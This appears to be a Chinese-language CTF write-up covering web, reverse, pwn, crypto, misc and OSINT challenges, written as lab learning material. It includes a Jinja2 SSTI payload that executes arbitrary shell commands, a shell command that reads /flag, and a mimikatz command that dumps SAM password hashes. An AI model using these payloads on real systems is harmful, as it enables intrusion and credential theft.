前言
有幸被邀请来参加了这场CTF,虽然我自己因为各种意义就只花了一天时间看题和答题,但是题目质量还是十分优质的,并且有很多很好的trick点可以用,因此写下wp跟大家分享
目录
Web
ezhttp
没什么好说的,很简单的签到题
flag复读机
你永远可以相信fenjing(bushi)
没装的可以自己百度fenjing装一个
from fenjing import exec_cmd_payload
import requests
from time import sleep
url = "http://110.40.35.62:33731/flag" # url 改成你们自己的端口
cookies = {"GZCTF_Token":"xxx"} # 改成你们自己的token
def waf(payload):
sleep(0.05)
if payload[:2] == "{%" and payload[-2:] == "%}":
data = {"flag": "flag"+payload}
else:
data = {"flag": f"flag{{%{payload}%}}"}
connect = requests.post(url, cookies = cookies, data = data)
# print(connect.text)
return "杂鱼" not in connect.text
def main():
print(waf("a"))
shell_payload, result = exec_cmd_payload(waf, "ls /")
print("flag" + shell_payload.encode("utf-8").decode("utf-8"))
if __name__ == "__main__":
main()
得到的输出直接跑就行
或者这儿有个已经跑好的
flag{%set gl='_'__~'_'_~_'g''lobals'__~'_'_~_'_'%}{%set bu='_'__~'_'_~_'b''uiltins'__~'_'_~_'_'%}{%set im='_'__~'_'_~_'import'__~'_'_~_'_'%}{%set px='OS'|lower%}{%set ls='\x6c\x73\x20\x2f'%}{%print g['p''op'][gl][bu][im](px)['p''open'](ls)'read'%}
如果你想要自己设定指令
请注意红框引号部分修改为自己的内容
即可执行指令
Reverse:
V
应该是用的编译器的锅,有的函数不好看出来
主要加密很简单,主要是与以往的函数不一样,不太容易看出来
简单介绍一些函数的识别过程,首先满图跑的memmove可以暂时不用管他,就当做构造函数之类的申请内存的东西就好
在puts_and_gets这个函数里完成了相关flag提示的打印和flag的接收,有点类似于python里边的
input("pls input your flag")这种提示完之后接收的
主要通过动调可以看出来还有接收的操作,并且把得到的值赋给了flag变量
然后这里是获取flag的切片
并将flag从char转化为int
即1字节转化为4字节
你可以通过静态分析或者动调的方式找到具体的内容
显示bug,头一次分析的时候命名的enc1没有改过来,函数名就是Char2Int
这里插一嘴,如果你动调访问这个IntArray是这样的
这是个地址,按键盘的G键输入1c3fc0即可跳转.
然后剩下的就是取数组的值,然后加密(suffer)之后保存进去
suffer的加密就很好看出来了
再然后就是另一个enc,等价于注释的计算,里边是个等差数列,前两项为0,公差为1
再然后就是直接比较了
因此加密逻辑相当之简单,居然没人做?!
开赛第四天我才来写,居然还拿了2血,NB
def suffer(flag_i, j):
if j != 0:
v3 = flag_i + j
else:
v3 = flag_i ^ 0x11
return flag_i * j + v3
def enc_func(flag_k,k):
return flag_k + (k*(k-1))//2
enc = [0x00000042, 0x000000A5, 0x000000CC, 0x00000156, 0x00000168, 0x000002F1, 0x000002C3, 0x00000334, 0x000003B1, 0x00000401, 0x00000462, 0x00000282, 0x000002FF, 0x000005B7, 0x0000030C, 0x000003F8, 0x000003C9, 0x0000077D, 0x000004AD, 0x00000442, 0x00000516, 0x00000575, 0x00000A27, 0x00000594, 0x00000591, 0x00000B1F, 0x00000762, 0x000006D6, 0x000007EE, 0x000006F9, 0x00000D90, 0x000008B0, 0x000008E5, 0x0000093B, 0x0000094C, 0x00001086, 0x00001133, 0x00001171, 0x00000AD1, 0x0000125C, 0x00000C03, 0x00000C39, 0x00001886]
for pos,enc_i in enumerate(enc):
for i in range(0x20,128):
data = enc_func(suffer(i,pos),pos)
if data == enc_i:
print(chr(i),end="")
爆破各位即可
easyre
没办法动调真的挺难绷的
看起来挺简单的
实际上蛮难绷的
先经过了一个base64变表,然后进行加密
先解决加密
注意这里的HIDWORD和LODWORD实际上你可以把他看成两个变量,在这里是等价的
因为到最后比较的时候会被强制转换为一个字节bytes,所以这里v10的高位会被舍掉
即v10 = LODWORD(v10)
因此写函数
data = [0x000000D2, 0x00000069, 0x00000065, 0x00000090, 0x000000A6, 0x000000D6, 0x00000069, 0x000000CA, 0x000000E8, 0x00000084, 0x00000096, 0x00000086, 0x000000D2, 0x0000009A, 0x000000CA, 0x00000082, 0x00000091, 0x000000DD, 0x0000009C, 0x0000008C, 0x00000041, 0x00000084, 0x0000006A, 0x000000A6, 0x00000085, 0x000000DD, 0x00000064, 0x0000007A, 0x000000A6, 0x0000009B, 0x0000007A, 0x000000A6, 0x00000085, 0x0000009B, 0x00000086, 0x00000068, 0x00000041, 0x000000DD, 0x0000007A, 0x000000D8]
def enc(ascii_code):
v6 = ascii_code
h_v10 = l_v10 = 0
v7 = (v6 // 7 + ((v6 - (v6 // 7 )) >> 1)) >> 2
v8 = v6 - 7*v7
if v7 != 0:
h_v10 = v7 % 7
v9 = v6 // 0x31
if v9 != 0:
l_v10 = v9 % 7
return v8 + 10 * (h_v10 + 10* l_v10)
for result in data:
for i in range(0x20,128):
if result == enc(i):
print(chr(i),end="")
i62Qam6dyHTJiXdFRqZM/H7aIq1AaYAaIYJ5/qAo
base64变表是程序运行时变表的
交叉引用可以发现
主要逻辑就是随机数生成然后替换
这里有个ptrace反调试
注意改一下
只要拿到base64变表之后修改一下即可
调了一下(花了一天配各种环境解决bug...)
确定是这个表
9znumyjD7iKSOIlNQwxsXRHMFa5AJ4dopPGEkrVY8WhB0bfvUTt326q1g/eCZ+cL
如果你调的时候得到的表不同,那你千万记住有个反调试。。。
当然,你也可以直接不配置arm环境
直接在linux上编译然后跑就行
#include <iostream>
#include <time.h>
#include <stdlib.h>
using namespace std;
int get_base64(long long seed){
int v1,v2,v4,v5,v6,v7,v8,v10,result;
bool v3;
unsigned int v9;
char v12;
char b64_list[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
srand(seed);
v1 = 100;
do{
v2 = rand();
v4 = -v2;
v3 = -v2 < 0;
v5 = v2 & 0x3f;
v6 = v4 & 0x3f;
if(v3) v7 = v5;
else v7 = -v6;
v8 = rand();
v3 = -v8 < 0;
v9 = v8 & 0x3f;
v10 = -v8 & 0x3f;
if(v3) result = v9;
else result = -v10;
v12 = b64_list[v7];
b64_list[v7] = b64_list[result];
b64_list[result] = v12;
--v1;
}
while(v1);
cout<<b64_list<<endl;
return 0;
}
int main(void){
get_base64(6636321LL);
get_base64(1193046LL);
return 0;
}
g++ re.cpp -o re
就可以得到两种码表了,这里两个表分别对应两个种子
然后我们来聚焦base64的加密
被这个东西绊马脚让我搞了一天的环境。。。回头正好写个qemu的教程给大伙儿分享一下我今天踩的坑。。。
总之让我们来分析一下,其实也没必要分析,因为说起来很绕,主要是本来的base64就是一个长6位,一个长8位,这里还给打乱顺序了
总之记住一点,无论怎么变换,他总归都是24位(3*8,4*6)二进制在打乱顺序重组罢了
只要按拼图拼回来就OK了
所以写一个函数进行解密
def b64_decode(data):
table = "9znumyjD7iKSOIlNQwxsXRHMFa5AJ4dopPGEkrVY8WhB0bfvUTt326q1g/eCZ+cL"
string = ""
for i in range(0,len(data),4):
a1,a2,a3,a4 = data[i],data[i+1],data[i+2],data[i+3]
p1,p2,p3,p4 = [bin(table.index(i))[2:].rjust(6,"0") for i in [a1,a2,a3,a4]]
r1 = p1[4:6] + p3[2:] + p2[:2]
r2 = p2[2:6] + p1[:4]
r3 = p4 + p3[:2]
string += "".join([chr(int(i,2)) for i in [r1,r2,r3]])
return string
print(b64_decode("i62Qam6dyHTJiXdFRqZM/H7aIq1AaYAaIYJ5/qAo"))
signIn
很简单的一道题
题目提示cout
由于去掉了符号表,找到主函数可能需要一些经验
通常来讲如果你对程序执行比较熟悉,你可以通过start_0 ->start->main这条路径找到main函数
你可以在start函数内找到这样一个函数指针
通常来说,这个Code的函数指针指向的就是main函数
双击进去,就可以看到return返回的就是函数主体了(因为还需要获取程序执行传参等预编译,因此又套了一层)
这里就是主函数
或者你也可以通过Shift + F12的方式打开字符串表
双击跳转
到具体的地址,选中名称(图中黄色高亮)
按X键打开交叉引用
即可找到主函数
总之,无论如何,我们找到了主函数
根据题目提示cout,我们选中cout,按X键打开交叉引用
可以发现还有三处进行了cout
分别进行查看,就会发现三处加密
解这三处加密即可
最简单的异或加密
不再赘述
Pwn:
echo
echo -e "$(</flag)"
Misc:
签到
一共就4个方式
base 85,58,64,32
然后再加上hex
85注意调成IPv6,然后把All-zero group char删掉就OK了
随机生成的,反正就这几种,一般赛博厨子能识别出来
来抽卡吧(改)
pwntools爆破
一直没做出来,原来是我脸黑()
from pwn import *
context(log_level='debug')
while True:
try:
p = remote("110.40.35.62",34123)
try:
data = [p.recvline().decode("UTF-8") for _ in range(2)]
except:
data = [p.recvline().decode("UTF-8")]
try:
msg = p.recvline()
except:
msg = None
p.close()
except Exception as e:
print(e)
p.interactive()
breakpoint()
print(data,msg)
if msg is not None:
break
print(msg)
misc没咋做,因为比较没空,再加上不会泰拉瑞亚,要是MC的可能做做(bushi)
Crypto:
Who_is_Bob
from Crypto.Util.number import *
flag = bytes_to_long(b'SRCTF{Kicky_Mu_is_a_beautiful_girl!}')
p = getPrime(512)
q = getPrime(512)
e = 65537
Bob = getRandomInteger(30)
n = p*q
c = pow(flag, e, n)
leak = (p-Bob)*(q-Bob)
print("n = ", n)
print("c = ", c)
print("leak = ", leak)
'''
n = 83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571271567234671704671269359605807984410204884607410984160816036002212842986210090410991351912353876745392317665760163054027137901527714797966126447118700149990317258891
c = 78309281660733853390608911365864030224721696340767714309397025309727923007988734506317736073773797381428997269420533151442862487934268321488021490923820201215298630613307224160553995648878611049792491221454161735360351132054599297761941011233121670402299191829524451472897533682050463933866813803099215448841
leak = 83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571257216554908695119517636260243773643003707817620018239877623870076598042268179945412307565612034852201182156671007990234097768953570942262083345175668126848614778091
'''
爆破Bob就行
首先p和q为正整数,因此和也为整数
因此Bob首先得能够整除n - leak的值
设p+q = r
联立n = pq
因为q为正整数,取正根,有
其中,
同理,q为正整数,必须要能够开方得到一个整数
因此根据上述条件爆破即可
from Crypto.Util.number import *
from tqdm import trange
from gmpy2 import *
from libnum import n2s,s2n
n = 83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571271567234671704671269359605807984410204884607410984160816036002212842986210090410991351912353876745392317665760163054027137901527714797966126447118700149990317258891
c = 78309281660733853390608911365864030224721696340767714309397025309727923007988734506317736073773797381428997269420533151442862487934268321488021490923820201215298630613307224160553995648878611049792491221454161735360351132054599297761941011233121670402299191829524451472897533682050463933866813803099215448841
leak = 83551533637791995343217075093207075888114751056630372530634434127047066670630844940247145420790307521479826874365675804269523298586266076638571257216554908695119517636260243773643003707817620018239877623870076598042268179945412307565612034852201182156671007990234097768953570942262083345175668126848614778091
calc = n - leak
e = 0x10001
for Bob in trange(2,2**30 - 1):
if calc == ((calc // Bob) * Bob):
r = Bob + (calc // Bob)
result = iroot(r*r - 4*n,2)
if result[1]:
q = (result[0] + r) // 2
p = n // q
assert p*q == n
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,n)
print(n2s(int(m)).decode("utf-8"))
break
Just_easy
from Crypto.Util.number import *
flag = bytes_to_long(b'SRCTF{Kicky_Mu_is_a_beautiful_girl!}')
a = getPrime(30)
p = getPrime(512)
q = getPrime(512)
phi_n = (p-1)*(q-1)
e = pow(a, -1, phi_n)
n = p * q
c = pow(flag, e, n)
print('n =', n)
print('the_secret =', c)
print('crazy_e =', e)
'''
n = 59447861832652211537262617254184281479829852166925461903662081261289292515576905767937322840660932440029530280492275752616941795671201953079301018060203465429579475061460085183882511211044583402328605487602525290853335843501892756351462762579677498265076859047191958682405236293711382106634923860856875702197
the_secret = 5531240943076956185419252532740075458153435638783876058593858932704838715927408036778103767030441428608060995278765402621496571055270582748608426450102229896581270452441624390124702053351607096961665933344552694074590045043665839297172339145388284294053051066633951096064582407552698859869765532283938542919
crazy_e = 14983946116420718695910350497572468216707179624388443450376271801029353003883222766239928455540840247101746285898514708092585961191614089889673789620455880325382360817355279757931949420354758283821942288319417005937365971171869321539979940627452543996523114498789386921202216406398001675382099523934286309463
'''
e很大,有维纳攻击
import gmpy2
import libnum
def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
n = 59447861832652211537262617254184281479829852166925461903662081261289292515576905767937322840660932440029530280492275752616941795671201953079301018060203465429579475061460085183882511211044583402328605487602525290853335843501892756351462762579677498265076859047191958682405236293711382106634923860856875702197
c = 5531240943076956185419252532740075458153435638783876058593858932704838715927408036778103767030441428608060995278765402621496571055270582748608426450102229896581270452441624390124702053351607096961665933344552694074590045043665839297172339145388284294053051066633951096064582407552698859869765532283938542919
e = 14983946116420718695910350497572468216707179624388443450376271801029353003883222766239928455540840247101746285898514708092585961191614089889673789620455880325382360817355279757931949420354758283821942288319417005937365971171869321539979940627452543996523114498789386921202216406398001675382099523934286309463
d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
leak
from Crypto.Util.number import *
import gmpy2
from enc import flag
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
e = 1013
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
dp = d % (p-1)
leak = dp>>200
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"leak = {leak}")
print(f"c = {c}")
'''
n = 110213245423787811834518112811871374057182659656333171180583906182098866895106152169202974253392946952670696530676210762805363864263383224528537325490112353868969261155364863882874549993204597016739119560224274234085791998310748667903130690276875928801213222945825623033159412256315898753155041172844790881283
e = 1013
leak = 2111661101489986207946671243111315656386526068378675693749037940046822939637002369276880737091
c = 44953911831010760674028216893023771903735777342102642215298073259026291235527656090988244571561391378675170728470813535186907109257362776905391646755360995924417928753904003476238093726521687524894340317021957879542128875867159267372684219741723042726979008939837475097290381429403885987472234565635819680600
'''
已知dp高位,e较小,可得p,q
在sagemath中跑,可以在线
#Sage
secret = 2111661101489986207946671243111315656386526068378675693749037940046822939637002369276880737091
e = 1013
n = 110213245423787811834518112811871374057182659656333171180583906182098866895106152169202974253392946952670696530676210762805363864263383224528537325490112353868969261155364863882874549993204597016739119560224274234085791998310748667903130690276875928801213222945825623033159412256315898753155041172844790881283
F.<x> = PolynomialRing(Zmod(n))
d = inverse_mod(e, n)
for k in range(1, e):
f = (secret << 200) + x + (k - 1) * d
x0 = f.small_roots(X=2 ** (200+ 1), beta=0.44, epsilon=1/32)
if len(x0) != 0:
dp = x0[0] + (secret << 200)
for i in range(2, e):
p = (e * Integer(dp) - 1 + i) // i
if n % p == 0:
break
if p < 0:
continue
else:
print('k = ',k)
print('p = ',p)
print('dp = ',dp)
break
懒得写wp了,大手子都有密码的全wp,回头我补上再。。。
社工取证:
Domain Administrator
使用mimikataz
双击打开
将附件里边的sam和system.hive解压到mimikataz的同一级目录
然后就可以直接解码了
lsadump::sam /sam:sam.hive /system:system.hive
套上SRCTF即可
Osint1-Gamer
下载后得到以下图片,图片右上角标志打码只有一个大概的轮廓,先不管,左下角也有一串字母,目前已知这些信息。
打开百度识图,
有张差不多的,下面也有标注经纬。地点是上海百联ZX创趣场。
Osint2-Train
先看图片,”包子就吃和善缘,一年卖6亿只“,列车底部有“ZE 152206”字样(ZE是二等座的意思),旁边小推车上有“鑫博海”三字。明显的就这些
百度一下就可以知道和善缘冠名高铁列车
近日,和善园高铁冠名列车首发仪式在上海虹桥站隆重举行。(源自一则新闻)
Osint3-School
根据OVO眼镜搜索到广州市
猜测是中山大学或者外国语大学
挨个试就行
但是当时没找到)
Osint4-where
注意到右侧的101总部
用101研发总部找到附近的绿化
发现有个红仓完美文创公园
百度实景也有那个打码的地标
SRCTF{四川省-成都市-红仓完美文创公园}
Osint6-music
一听就知道是牢爱(AI爱酱)的future base,misc没去做
然后在网易云音乐评论区找到flag(网易云音乐也干了说是)
Osint7-abode
远处有地铁,排除了很大一部分城市
根据略略熊和有地铁锁定到宁波市
找附近是地铁线的略略熊店铺
随便点个附近的商家,就有具体小镇名字了
SRCTF{浙江省-宁波市-江北区-云创1986青年小镇}